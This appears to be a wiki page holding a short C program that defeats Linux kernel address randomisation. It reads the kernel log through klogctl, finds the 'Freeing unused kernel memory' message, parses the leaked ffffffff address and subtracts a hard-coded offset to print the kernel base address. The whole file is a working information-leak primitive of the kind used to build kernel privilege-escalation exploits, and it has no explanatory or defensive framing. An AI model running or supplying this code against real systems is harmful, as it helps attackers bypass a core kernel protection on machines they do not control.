Page History

#define _GNU_SOURCE
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
#include <sys/klog.h>
#include <sys/mman.h>
 
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

void get_syslog(char **buffer, int *size){
 
    *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
    if(*size == -1){
        perror("Error");
    }
 
    int pagesize = getpagesize();
    *size = (*size / pagesize + 1) * pagesize;
    *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 
    *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
    if (*size == -1) {
        perror("Error");
    }
     
}
 
unsigned long get_kernel_addr (char *buffer, int size){
    const char *needle = "Freeing unused kernel memory";

    char* substr = (char*)memmem(&buffer[0], size, needle, strlen(needle));
    if (substr == NULL) {
        printf("%s not found\n", needle);
    }
     
    int start = 0;
    int end = 0;
    start = strchr(substr,'-') - substr;
    end = strrchr(substr,'\n') - substr;
  
    const char *needle2 = "ffffffff";
    substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
    if (substr == NULL) {
            fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
            exit(EXIT_FAILURE);
    }
  
    char *endptr = &substr[16];
    unsigned long addr = strtoul(&substr[0], &endptr, 16);
    addr -= 0x10b4000ul;
  
    return addr;
}
 
void main(){
    char *syslog;
    int size;
 
    get_syslog(&syslog, &size);
    unsigned long is_kernel_base_addr = get_kernel_addr(syslog, size);
    printf("The base address of the kernel is '0x%lx'\n", is_kernel_base_addr);
}